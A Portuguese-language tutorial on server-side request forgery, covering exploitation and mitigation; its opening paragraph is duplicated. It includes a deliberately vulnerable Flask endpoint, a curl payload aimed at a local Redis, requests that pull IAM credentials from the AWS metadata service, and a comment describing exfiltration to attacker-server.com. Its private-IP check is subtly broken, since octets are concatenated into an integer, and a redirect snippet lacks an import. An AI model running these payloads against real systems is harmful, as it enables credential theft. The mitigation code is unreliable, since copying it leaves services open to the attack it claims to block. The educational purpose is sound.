Boas Práticas de SSRF: Server-Side Request Forgery — Exploração e Mitigação para Times Ágeis Já leu

O que é SSRF: Server-Side Request Forgery Server-Side Request Forgery (SSRF) é uma vulnerabilidade que permite a um atacante forçar um servidor a fazer requisições HTTP em seu nome, geralmente para recursos que ele não deveria acessar. Em vez de o cliente fazer a requisição diretamente, o servidor vítima é manipulado para agir como intermediário, contornando controles de segurança como firewalls e listas de acesso. A criticidade do SSRF reside no fato de que o servidor, ao fazer a requisição, herda as permissões e a posição de rede dele. Isso significa que ele pode acessar serviços internos (como bancos de dados, APIs administrativas, serviços em localhost), metadata de nuvem (AWS, GCP, Azure), ou recursos que deveriam ser isolados do mundo externo. O atacante nunca acessa diretamente esses recursos — quem faz a requisição é o servidor vulnerável, legitimamente. Considere um cenário real: um serviço web oferece a funcionalidade de "buscar imagem de uma URL externa" para gerar relatórios. Se não

O que é SSRF: Server-Side Request Forgery

Server-Side Request Forgery (SSRF) é uma vulnerabilidade que permite a um atacante forçar um servidor a fazer requisições HTTP em seu nome, geralmente para recursos que ele não deveria acessar. Em vez de o cliente fazer a requisição diretamente, o servidor vítima é manipulado para agir como intermediário, contornando controles de segurança como firewalls e listas de acesso.

A criticidade do SSRF reside no fato de que o servidor, ao fazer a requisição, herda as permissões e a posição de rede dele. Isso significa que ele pode acessar serviços internos (como bancos de dados, APIs administrativas, serviços em localhost), metadata de nuvem (AWS, GCP, Azure), ou recursos que deveriam ser isolados do mundo externo. O atacante nunca acessa diretamente esses recursos — quem faz a requisição é o servidor vulnerável, legitimamente.

Considere um cenário real: um serviço web oferece a funcionalidade de "buscar imagem de uma URL externa" para gerar relatórios. Se não houver validação adequada, um atacante pode fornecer uma URL como http://localhost:8080/admin ou http://169.254.169.254/latest/meta-data/, fazendo o servidor buscar dados que deveria manter privados.

Mecanismos de Exploração e Vetores de Ataque

Tipos Comuns de SSRF

Existem duas categorias principais de SSRF: blind SSRF e direct SSRF. No direct SSRF, o atacante recebe a resposta da requisição forjada diretamente no corpo da resposta HTTP. No blind SSRF, não há feedback direto, mas o servidor executa a ação de qualquer forma, permitindo inferências por timing ou efeitos colaterais.

A exploração de SSRF frequentemente visa três áreas críticas: serviços internos (bancos de dados, APIs administrativas), metadata de nuvem (AWS EC2 metadata service, GCP metadata) e sistemas legados (servidores FTP, Memcached, Redis sem autenticação).

Exemplo Prático: Exploração de SSRF em Python

Vamos criar um cenário onde um aplicativo Flask oferece funcionalidade de proxy de imagens:

from flask import Flask, request, send_file
import requests
import io

app = Flask(__name__)

# VERSÃO VULNERÁVEL
@app.route('/fetch-image-vulnerable', methods=['POST'])
def fetch_image_vulnerable():
    """
    Endpoint vulnerável que faz requisição para qualquer URL fornecida
    """
    image_url = request.json.get('url')

    # Nenhuma validação!
    response = requests.get(image_url, timeout=5)

    return send_file(
        io.BytesIO(response.content),
        mimetype=response.headers.get('content-type')
    )

Um atacante poderia fazer:

curl -X POST http://localhost:5000/fetch-image-vulnerable \
  -H "Content-Type: application/json" \
  -d '{"url": "http://localhost:6379"}'

Isso força o servidor a conectar em um Redis local na porta 6379, potencialmente extraindo dados sensíveis ou executando comandos.

Ataque a Metadata de Nuvem

Em ambientes AWS, um vetor comum é acessar o serviço de metadata:

# Ataque: requisição para metadata service
requests.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
# Retorna: { "RoleName": "ec2-role" }

# Segunda requisição para obter credenciais temporárias
requests.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role')
# Retorna: AccessKeyId, SecretAccessKey, Token (credenciais válidas)

Essas credenciais podem ser usadas para acessar recursos AWS de forma privilegiada.

Técnicas de Mitigação e Validação

Whitelist de URLs

A abordagem mais segura é implementar uma whitelist rigorosa de domínios e protocolos permitidos. Nunca confie em blocklists (blacklists), pois existem muitas maneiras de contorná-las usando técnicas de bypass como redirecionamentos em cascata.

from flask import Flask, request
from urllib.parse import urlparse
import requests

app = Flask(__name__)

ALLOWED_DOMAINS = ['cdn.example.com', 'images.trusted-partner.com']
ALLOWED_PROTOCOLS = ['http', 'https']

@app.route('/fetch-image-secure', methods=['POST'])
def fetch_image_secure():
    """
    Endpoint com validação de whitelist
    """
    image_url = request.json.get('url')

    # Parse e validação
    try:
        parsed = urlparse(image_url)

        # 1. Validar protocolo
        if parsed.scheme not in ALLOWED_PROTOCOLS:
            return {'error': 'Protocol not allowed'}, 400

        # 2. Validar domínio contra whitelist
        if parsed.netloc not in ALLOWED_DOMAINS:
            return {'error': 'Domain not whitelisted'}, 400

        # 3. Validar que não é um IP privado
        if is_private_ip(parsed.hostname):
            return {'error': 'Private IP not allowed'}, 400

        # 4. Fazer requisição com timeout seguro
        response = requests.get(image_url, timeout=5)
        response.raise_for_status()

        return {
            'status': 'success',
            'size': len(response.content),
            'content_type': response.headers.get('content-type')
        }

    except requests.exceptions.RequestException as e:
        return {'error': str(e)}, 400

def is_private_ip(hostname):
    """
    Verifica se o hostname resolve para um IP privado
    """
    import socket
    try:
        ip = socket.gethostbyname(hostname)
        # Intervalos de IP privado
        private_ranges = [
            ('10.0.0.0', '10.255.255.255'),
            ('172.16.0.0', '172.31.255.255'),
            ('192.168.0.0', '192.168.255.255'),
            ('127.0.0.0', '127.255.255.255'),
            ('169.254.0.0', '169.254.255.255'),
        ]

        ip_int = int('.'.join(map(str, map(int, ip.split('.')))))

        for start, end in private_ranges:
            start_int = int('.'.join(map(str, map(int, start.split('.')))))
            end_int = int('.'.join(map(str, map(int, end.split('.')))))
            if start_int <= ip_int <= end_int:
                return True
        return False
    except:
        return True  # Falha aberta (segura)

Isolamento de Rede e Controle de Saída

Implementar políticas de firewall para bloquear requisições do servidor para redes internas. Em Kubernetes, use Network Policies. Em AWS, use security groups que negam explicitamente tráfego para 169.254.169.254 e ranges privados.

# Exemplo de NetworkPolicy no Kubernetes
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-internal-ssrf
spec:
  podSelector:
    matchLabels:
      app: web-service
  policyTypes:
  - Egress
  egress:
  - to:
    - namespaceSelector:
        matchLabels:
          name: allowed-namespace
    ports:
    - protocol: TCP
      port: 443
  - to:
    - namespaceSelector: {}
    ports:
    - protocol: TCP
      port: 53  # DNS

Validação de Redirect e Desserialization

Mesmo com whitelist adequada, redirecionamentos (HTTP 301/302) podem contornar validações. Desabilite o seguimento automático de redirects ou valide o destino final:

import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

class SafeSSRFSession(requests.Session):
    """
    Sessão que previne SSRF em redirects
    """
    def __init__(self, *args, allowed_domains=None, **kwargs):
        super().__init__(*args, **kwargs)
        self.allowed_domains = allowed_domains or []

    def resolve_redirects(self, resp, req, stream=False, timeout=None, **kwargs):
        """
        Intercepta redirects e valida destino
        """
        for redirect in super().resolve_redirects(resp, req, stream, timeout, **kwargs):
            # Validar que o redirect não vai para um domínio bloqueado
            redirect_domain = urlparse(redirect.url).netloc
            if redirect_domain not in self.allowed_domains:
                raise requests.exceptions.InvalidURL(
                    f"Redirect to {redirect_domain} not allowed"
                )
            yield redirect

# Uso
session = SafeSSRFSession(allowed_domains=['cdn.example.com'])
response = session.get('https://cdn.example.com/image', allow_redirects=True)

Casos Reais e Contextos de Risco

Quando SSRF é Crítico

Funcionalidades que processam URLs fornecidas pelo usuário são pontos de risco máximo: geradores de PDF (phantomjs, wkhtmltopdf), proxies de imagem, integrações com webhooks, scanners de QR Code, busca por favicon, processamento de feeds RSS, e crawlers web.

Em um caso real documentado, uma plataforma de gerenciamento de conteúdo permitia que usuários fornecessem URLs para backgrounds de imagens. Sem validação adequada, um atacante conseguiu acessar o painel administrativo interno (rodando em localhost:8000), extrair tokens de sessão de administrador, e comprometer toda a plataforma.

Blind SSRF: Detecção e Exploração

Quando não há feedback direto, use técnicas de inferência:

# Técnica 1: Timing
# Se o servidor responde rápido para localhost:22, a porta está aberta
import time
start = time.time()
try:
    requests.get('http://localhost:22', timeout=1)
except:
    elapsed = time.time() - start
    # < 0.1s = porta aberta/respondendo
    # > 0.5s = port closed/bloqueado

# Técnica 2: OOB (Out-of-Band) — usar serviço externo para receber dados
# Atacante faz requisição para: http://attacker-server.com/?data=<BASE64>
# O servidor vítima decodifica um payload que busca metadata de nuvem
# e envia resultado de volta ao attacker-server.com

Conclusão

Os aprendizados principais sobre SSRF são: primeiro, a vulnerabilidade existe porque desenvolvemos código que confia em entrada do usuário para fazer requisições em nome do servidor, sem validar adequadamente o destino — sempre implemente whitelist de domínios e protocolos, nunca blacklist. Segundo, SSRF é especialmente perigoso em ambientes de nuvem porque abre acesso a serviços de metadata que concedem credenciais permanentes ou temporárias — proteja redes internas com políticas de firewall e Network Policies explícitas. Terceiro, nem toda mitigação é código: design seguro envolve segregação de rede, princípio do menor privilégio, e desabilitar protocolos e serviços desnecessários no servidor.

Referências


Artigos relacionados